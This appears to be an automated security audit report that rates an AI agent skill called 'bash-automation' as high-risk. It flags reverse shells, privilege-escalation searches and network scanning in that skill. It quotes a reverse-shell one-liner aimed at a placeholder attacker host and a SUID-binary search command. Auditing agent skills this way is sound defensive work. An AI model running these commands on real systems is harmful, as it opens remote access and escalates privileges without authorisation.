bash-automation

Fail

Audited by Gen Agent Trust Hub on Jun 17, 2026

Risk Level: HIGHCOMMAND_EXECUTIONREMOTE_CODE_EXECUTION
Full Analysis
  • [COMMAND_EXECUTION]: Provision of functional reverse shell payloads.
  • The skill contains explicit instructions and code for establishing reverse connections via Bash, Netcat, and Python (e.g., bash -i >& /dev/tcp/ATTACKER/PORT 0>&1). These are intended to grant remote command-line access to an external system.
  • [COMMAND_EXECUTION]: Discovery of privilege escalation vectors.
  • The content includes scripts to search for SUID binaries (find / -perm -4000) and writable directories, which are standard techniques used to escalate user privileges on a host.
  • [COMMAND_EXECUTION]: Network enumeration and scanning tools.
  • Provides one-liners for host discovery (ping sweeps) and port scanning using raw shell features, facilitating unauthorized network reconnaissance.
Recommendations
  • AI detected serious security threats
Audit Metadata
Risk Level
HIGH
Analyzed
Jun 17, 2026, 02:07 AM
Security Audit — agent-trust-hub — bash-automation